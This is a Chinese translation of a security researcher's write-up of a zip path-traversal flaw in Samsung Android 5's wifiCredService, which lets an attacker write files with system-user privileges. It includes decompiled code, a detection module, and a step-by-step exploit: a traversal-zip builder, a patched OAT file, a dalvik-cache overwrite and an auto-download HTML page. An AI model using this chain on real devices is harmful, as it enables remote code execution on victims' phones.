三星Android 5设备滥用wifiCredService导致远程代码执行

引入

本文具体分析了最近在Google漏洞赏金计划中披露的三星Android5设备漏洞[0],该漏洞由Google的Project Zero团队以及Quarkslab挖掘。据我们所知,该漏洞存在于所有三星搭载Android5的设备中,仅仅通过浏览站点,下载电子邮件中的附件,或者一个恶意的第三方软件便能够使用system user权限进行远程代码执行。
关于漏洞

搭载Android 5的三星设备中,一款uid为system的安卓应用监视着/sdcard/Download/目录操作,其用到基于inotify机制的Java FileObserver。当以cred开始.zip结尾的文件名写入这个特殊目录,将会调用一个例程来解压这个文档,完成之后再从/sdcard/Download/目录将其删除,从cred[something].zip文件中提取的文件会解压到/data/bundle/目录。

不幸的是,没有在文件名进行验证。这意味着一个以../为开头的文件名会被写入/data/bundle/之外的位置。攻击者便能够在任意位置写入任意内容而且还带system用户权限。如果系统用户权限足够,那我们可以随意创建新文件或者是覆盖现有文件。很明显,带系统用户权限写入文件可导致远程代码执行漏洞。

考虑到/sdcard/Download/为安卓浏览器默认的下载文件夹,并且GMail应用保存的附件也在这文件夹内,你又有一个远程代码执行漏洞…..

攻击向量

据我们所知,以下攻击向量可用来利用该漏洞:

1.通过任意浏览器访问一个站点(包括Google Chrome)  2.通过GMail应用保存邮件中的附件  3.安装一款安卓恶意软件

如何检测是否存在漏洞

我们希望快速简便的检测用户设备状态。为此我们给开源项目Android VTS[2]写了一个模块[1],因此你可以通过Android VTS快速的检测手中设备的状态。

以下为使用Android VTS进行检测的一个例子:

三星Android 5设备滥用wifiCredService导致远程代码执行

详细分析

以下分析都是在Samsung Galaxy S6设备上完成,漏洞代码位于Hs20Settings.apk应用之中。其注册一个名为WifiHs20BroadcastReceiver的广播接收器,在启动时或者触发WIFI事件(android.net.wifi.STATE_CHANGE)便执行。

需要注意的是,这个三星设备漏洞代码可能在其他位置。例如,Samsung Galaxy S5这个漏洞代码就在SecSettings.apk中。

当广播接收器通过前面两个条件之一触发时,会执行以下代码:

public void onReceive(Context context, Intent intent) {    [...]    String action = intent.getAction();    [...]    if("android.intent.action.BOOT_COMPLETED".equals(action)) {        serviceIntent = new Intent(context, WifiHs20UtilityService.class);        args = new Bundle();        args.putInt("com.android.settings.wifi.hs20.utility_action_type", 5003);        serviceIntent.putExtras(args);        context.startServiceAsUser(serviceIntent, UserHandle.CURRENT);    }    [...]}

对于每一个事件,都会有一个Intent来创建一个名为WifiHs20UtilityService的服务。注意观察服务中的构造函数,特别是onCreate()方法,它会创建一个新的WifiHs20CredFileObserver对象。

public void onCreate() {    super.onCreate();    Log.i("Hs20UtilService", "onCreate");    [...]    WifiHs20UtilityService.credFileObserver = new WifiHs20CredFileObserver(            this,            Environment.getExternalStorageDirectory().toString() + "/Download/"    );    WifiHs20UtilityService.credFileObserver.startWatching();    [...]}

WifiHs20CredFileObserver被定义为FileObserver的Java子类:

class WifiHs20CredFileObserver extends FileObserver {

在安卓文档中FileObserver的定义:

android.os下的FileObserver类是一个用于监听文件访问、创建、修改、删除、移动等操作的监听器,基于linux的inotify。 FileObserver 是个抽象类,必须继承它才能使用。每个FileObserver对象监听一个单独的文件或者文件夹,如果监视的是一个文件夹,那么文件夹下所有的文件和级联子目录的改变都会触发监听的事件。

公共构造函数必须为监控事件指定一个路径和一个mask:

FileObserver(String path, int mask)

WifiHs20CredFileObserver的构造函数如下:

public WifiHs20CredFileObserver(WifiHs20UtilityService arg2, String path) {    WifiHs20UtilityService.this = arg2;    super(path, 0xFFF);    this.pathToWatch = path;}

在上面的代码片段中,FileObserver所有的有效事件类型可以在/sdcard/Download/目录下查看,事实上mask 0xFFF就是为FileObserver.ALL_EVENTS准备的。为了搞清楚接收事件后会发生什么动作,我们还需要看看WifiHs20CredFileObserver中的onEvent()重载方法:

public void onEvent(int event, String fileName) {      WifiInfo wifiInfo;      Iterator i$;      String credInfo;      if(event == 8 && (fileName.startsWith("cred")) && ((fileName.endsWith(".conf")) || (fileName              .endsWith(".zip")))) {          Log.i("Hs20UtilService", "File CLOSE_WRITE [" + this.pathToWatch + fileName + "]" +                  event);          if(fileName.endsWith(".conf")) {              try {                  credInfo = this.readSdcard(this.pathToWatch + fileName);                  if(credInfo == null) {                      return;                  }                  new File(this.pathToWatch + fileName).delete();                  i$ = WifiHs20UtilityService.this.expiryTimerList.iterator();                  while(i$.hasNext()) {                      WifiHs20Timer.access$500(i$.next()).cancel();                  }                  WifiHs20UtilityService.this.expiryTimerList.clear();                  WifiHs20UtilityService.this.mWifiManager.modifyPasspointCred(credInfo);                  wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo();                  if(!wifiInfo.isCaptivePortal()) {                      return;                  }                  if(wifiInfo.getNetworkId() == -1) {                      return;                  }                  WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this.                          mWifiManager.getConnectionInfo().getNetworkId(), null);              }              catch(Exception e) {                  e.printStackTrace();              }              return;          }          if(fileName.endsWith(".zip")) {              String zipFile = this.pathToWatch + "/cred.zip";              String unzipLocation = "/data/bundle/";              if(!this.installPathExists()) {                  return;              }              this.unzip(zipFile, unzipLocation);              new File(zipFile).delete();              credInfo = this.loadCred(unzipLocation);              if(credInfo == null) {                  return;              }              i$ = WifiHs20UtilityService.this.expiryTimerList.iterator();              while(i$.hasNext()) {                  WifiHs20Timer.access$500(i$.next()).cancel();              }              WifiHs20UtilityService.this.expiryTimerList.clear();              Message msg = new Message();              Bundle b = new Bundle();              b.putString("cred", credInfo);              msg.obj = b;              msg.what = 42;              WifiHs20UtilityService.this.mWifiManager.callSECApi(msg);              wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo();              if(!wifiInfo.isCaptivePortal()) {                  return;              }              if(wifiInfo.getNetworkId() == -1) {                  return;              }              WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this.mWifiManager                      .getConnectionInfo().getNetworkId(), null);          }      }}

当接收到事件类型8(FileObserver.CLOSE_WRITE)时,对文件名以及动作的检测可能已经开始了。如果写入的文件以cred,.conf或.zip结尾便会执行一些处理,而在其他所有例子中,FileObserver会简单的略过。

当一个特殊的文件写入监控文件中,会发生以下两种情况:

1).conf文件:服务调用readSdcard()读取文件,然后将配置传递给WifiManager.modifyPasspointCred(),readSdcard()调用完成之后.conf文件被删除  2).zip文件:服务将其提取到/data/bundle/并调用loadCred()解析cred.conf提取出的内容,然后将loadCred()结果作为Bundle对象的参数调用WifiManager.callSECApi(),完成解压操作后文件被删除

第一种情况对于我们没有什么用,但是第二个有用哇有用哇有用哇。使用标准ZipInputStream类完成解压操作,这是一个大家都知道的秘密[4]如果没有对文件内的文件名进行验证,便可以进行目录遍历。该漏洞与@fuzion24报告的三星键盘更新机制漏洞类似[5]

以下为绿化版的unzip()函数,为了便于阅读将不重要的try/catch语句进行了删除:

private void unzip(String _zipFile, String _location) {     FileInputStream fin = new FileInputStream(_zipFile);     ZipInputStream zin = new ZipInputStream(((InputStream)fin));     ZipEntry zentry;     /* check if we need to create some directories ... */     while(true) {       label_5:         zentry = zin.getNextEntry();         if(zentry == null) {             // exit         }         Log.v("Hs20UtilService", "Unzipping********** " + zentry.getName());         if(!zentry.isDirectory()) {             break;         }         /* if the directory does'nt exist, the _dirChecker will create it */         this._dirChecker(_location, zentry.getName());     }     FileOutputStream fout = new FileOutputStream(_location + zentry.getName());     int c;     for(c = zin.read(); c != -1; c = zin.read()) {         if(fout != null) {             fout.write(c);         }     }     if(zin != null) {       zin.closeEntry();     }     if(fout == null) {         goto label_45;     }     fout.close();label_45:     MimeTypeMap type = MimeTypeMap.getSingleton();     String fileName = new String(zentry.getName());     int i = fileName.lastIndexOf(46);     if(i <= 0) {       goto label_5;     }     String v2 = fileName.substring(i + 1);     Log.v("Hs20UtilService", "Ext" + v2);     Log.v("Hs20UtilService", "Mime Type" + type.getMimeTypeFromExtension(v2));     goto label_5;    }   }

我们可以注意到对于文档内的文件没有进行验证,存在目录遍历问题。因此,如果我们有一个名为cred.zip或者cred[something].zip写入/sdcard/Download/目录。WifiHs20CredFileObserver会自动(不需用户交互)将文件内容解压到/data/bundle/目录,之后删除.zip文件。由于没有对解压文件的文件名验证,在该文件夹内任何以../开头的解压文件都会被提取到/data/bundle/目录之外的位置,并且现有文件会被覆盖。最后请记住解压操作是系统用户完成的!

利用

首先我们随意建立一个zip文件,使用Python轻松实现:

from zipfile import ZipFilewith ZipFile("cred.zip", "w") as z:      z.writestr("../../path/filename", open("file", "rb").read())

接下来我们需要获得一个代码执行对吧?想在任意位置写入数据,你就得需要系统用户的权限,典型的解决方案就是覆盖dalvik-cache中的一些文件。在Android 5中dalvikvm用的很少,已经被ART所替代,对于ODEX文件来说都一样。OAT文件是由一个.apk文件通过包管理器调用dex2oat生成,并且生成的文件写入/data/dalvik-cache/目录(.dex后缀),然而我们依然可以使用这种方法执行代码。

不幸的是(这完全取决于你),覆盖dalvik-cache来获得代码执行现如今几乎是不可能的事情。在最近的rom中dalvik-cache目录是需要root权限的,SELinux才拥有写入权限[6][7].

早前搭载Android 5的三星rom,如G900FXXU1BNL9或者G900FXXU1BOB7就不包含这些SELinux规则。在这些rom中dalvik-cache目录事实上是属于root的,SELinux规则并没有阻止任意系统应用覆盖dalvik-cache(文件属于system)中的文件。我们考虑将其中一个rom作为本文例子,对于本文重在解释通过其他方法作为system用户来进行代码执行(不需写入dalvik-cache)来说这并不重要。

凭借dalvik-cache我们拥有一个可利用的rom,我们需要找到一个有趣的目标应用(运行uid为system)进行覆盖并解决如何生成我们的OAT文件。

寻找一个优秀的目标应用不是件简单事情,我们需要记住3个细节:

1.解压例程是有Java编写的,解压是一个字节一个字节完成,对于大文件来说速度相当缓慢  2.如果你覆盖正在运行的应用的OAT文件,这会导致崩溃  3.如何通过应用执行代码?

事实上,我们需要寻找一个相对较小的OAT文件并且几乎不常使用,以下为完美的候选人名单:

shell@klte:/ $ ls -al /data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex  -rw-r--r-- system   u0_a31000   176560 2015-10-30 15:40 system@app@AccessControl@AccessControl.apk@classes.dex

查看应用程序的manifest,我们可以看到其通过注册一个广播接收器监听android.intent.action.BOOT_COMPLETED事件实现一个非常不错的“自动运行”功能

<manifest android:sharedUserId="android.uid.system" android:versionCode="1411172008" [...] xmlns:android="http://schemas.android.com/apk/res/android">      <application android:debuggable="false" android:icon="@2130837507" android:label="@2131230720" android:supportsRtl="true" android:theme="@2131296256">          [...]        <receiver android:exported="false" android:name="com.samsung.android.app.accesscontrol.AccessControlReceiver">              <intent-filter>                  <action android:name="android.intent.action.BOOT_COMPLETED" />                  <action android:name="com.samsung.android.app.accesscontrol.TOGGLE_MODE" />              </intent-filter>          </receiver>          [...]    </application></manifest>

因此,如果我们将自定义代码放入AccessControlReceiver类的onReceive()方法中,在每次启动时我们的代码都会被执行

接下来,验证我们的猜想!

首先我们需要AccessControl应用的原始代码:

> adb pull /system/app/AccessControl/arm/ .  pull: building file list...  pull: /system/app/AccessControl/arm/AccessControl.odex.xz -> ./AccessControl.odex.xz  pull: /system/app/AccessControl/arm/AccessControl.odex.art.xz -> ./AccessControl.odex.art.xz2 files pulled. 0 files skipped.273 KB/s (72428 bytes in 0.258s)> ls  AccessControl.odex.art.xz  AccessControl.odex.xz  > xz -d *  > file *  AccessControl.odex:     ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, stripped  AccessControl.odex.art: data

我们获得了一个ART ELF (OAT)文件,但是我们想要修改它的dalvik字节码。我们可以使用oat2dex提取相应的dalvik字节码[8]:

> python oat2dex.py /tmp/art/AccessControl.odex  Processing '/tmp/art/AccessControl.odex'Found DEX signature at offset 0x2004  Got DEX size: 0xe944  Carving to: '/tmp/art/AccessControl.odex.0x2004.dex'> file *  [...]  AccessControl.odex.0x2004.dex: Dalvik dex file version 035  [...]  > baksmali AccessControl.odex.0x2004.dex -o smali

接下来在onReceive()方法中加入我们的自定义代码:

> find smali/ -iname '*receiver*'  smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali  > vim smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali  [...]  .method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V    .registers 10      +  # adding the following code:  +  const-string v0, "sh4ka"  +  const-string v1, "boom!"  +  invoke-static {v0, v1}, Landroid/util/Log;->wtf(Ljava/lang/String;Ljava/lang/String;)I  [...]  > smali smali/ -o classes.dex

为了构建我们修改过的DEX文件,再次使用dex2oat:

> adb pull /system/app/AccessControl/AccessControl.apk .1462 KB/s (259095 bytes in 0.173s)> sudo chattr +i AccessControl.apk  > cp AccessControl.apk Modded.apk  > zip -q Modded.apk classes.dex  > python -c 'print len("/system/app/AccessControl/AccessControl.apk")'43  > python -c 'print 43-len("/data/local/tmp/Modded.apk")'17  > mv Modded.apk Modded$(python -c 'print "1"*17').apk  > ls  AccessControl.apk  AccessControl.odex  AccessControl.odex.0x2004.dex  AccessControl.odex.art  classes.dex  Modded11111111111111111.apk  smali  > adb push Modded11111111111111111.apk /data/local/tmp1144 KB/s (284328 bytes in 0.242s)> adb shell dex2oat --dex-file=/data/local/tmp/Modded11111111111111111.apk --oat-file=/data/local/tmp/modified.oat  > adb pull /data/local/tmp/modified.oat .1208 KB/s (172464 bytes in 0.139s)> file modified.oat  modified.oat: ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, stripped  > sed -i 's///data//local//tmp//Modded11111111111111111.apk///system//app//AccessControl//AccessControl.apk/g;' modified.oat

最后我们可以构建zip文件来利用这个漏洞了:

> cat injectzip.py  import sys  from zipfile import ZipFile  with ZipFile("cred.zip","w") as z:    z.writestr(sys.argv[1],open(sys.argv[2],"rb").read())> python injectzip.py ../../../../../../data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex /tmp/art/modified.oat  > zipinfo cred.zip  Archive:  cred.zip  Zip file size: 172750 bytes, number of entries: 1  ?rw-------  2.0 unx   172464 b- stor 15-Nov-08 18:43 ../../../../../../data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex1 file, 172464 bytes uncompressed, 172464 bytes compressed:  0.0%

这里有多种方法触发这个漏洞,如迫使浏览器打开一个web页面下载这个zip文件:

<html>  <head><script type="text/javascript">document.location="/cred.zip";</script></head>  <body></body>  </html>

或者仅仅是测试目的,可以通过打开adb将其传入/sdcard/Download/:

> adb push cred.zip /sdcard/Download/  > adb logcat WifiCredService:V *:S  --------- beginning of main  --------- beginning of system  I/WifiCredService( 4599): File CLOSE_WRITE [/storage/emulated/0/Download/cred.zip]8  V/WifiCredService( 4599): Unzipping********** ../../../../../../data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex  V/WifiCredService( 4599): Extdex  V/WifiCredService( 4599): Mime Typenull

重启机器之后,应该会出现一些消息:

> adb reboot; adb logcat sh4ka:V *:S  - waiting for device -  --------- beginning of system  --------- beginning of main  F/sh4ka   ( 3613): boom!

这个方法并非是最优的,开动脑筋吧!欢迎再评论区写下你的答案,如果答案优秀我会通过小酒馆打赏10金币给你。

参考:

[0]https://code.google.com/p/google-security-research/issues/detail?id=489

[1]https://github.com/nowsecure/android-vts/commit/429c687fe03ef0db2999a36f2ec7d31101cd78da

[2]https://github.com/nowsecure/android-vts

[3]https://developer.android.com/reference/android/os/FileObserver.html

[4]https://www.securecoding.cert.org/confluence/display/java/IDS04-J.+Safely+extract+files+from+ZipInputStream

[5]https://www.nowsecure.com/keyboard-vulnerability/

[6]https://android-review.googlesource.com/#/c/155000/

[7]https://android-review.googlesource.com/#/c/127710/

[8]https://github.com/jakev/oat2dex-python/

[9]https://www.blackhat.com/docs/asia-15/materials/asia-15-Sabanal-Hiding-Behind-ART.pdf

* 参考来源:Quarkslab,编译/FB小编鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

发表评论